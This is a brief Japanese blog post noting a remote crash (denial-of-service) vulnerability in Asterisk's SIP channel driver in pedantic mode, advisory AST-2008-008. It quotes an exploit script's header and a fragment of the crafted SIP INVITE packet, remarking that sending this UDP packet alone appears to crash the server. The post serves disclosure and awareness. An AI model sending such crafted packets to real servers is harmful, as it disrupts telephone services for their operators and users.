Asterisk (SIP channel driver / in pedantic mode) Remote Crash Exploit

IT セキュリティ

AsteriskのSIPチャンネルドライバにDoSを受ける脆弱性が存在するそうです。

# asterisk AST-2008-008
# by armando.j.m.o@gmail.com
#AST-2008-008 - Remote Crash Vulnerability in SIP channel driver when run in pedantic mode

気のせいじゃなかったら、このUDPを送るだけで死んでいる気がする・・・

INVITE sip:1234@'.$args{h}.' SIP/2.0\n
CSeq: 2 INVITE'

screenshot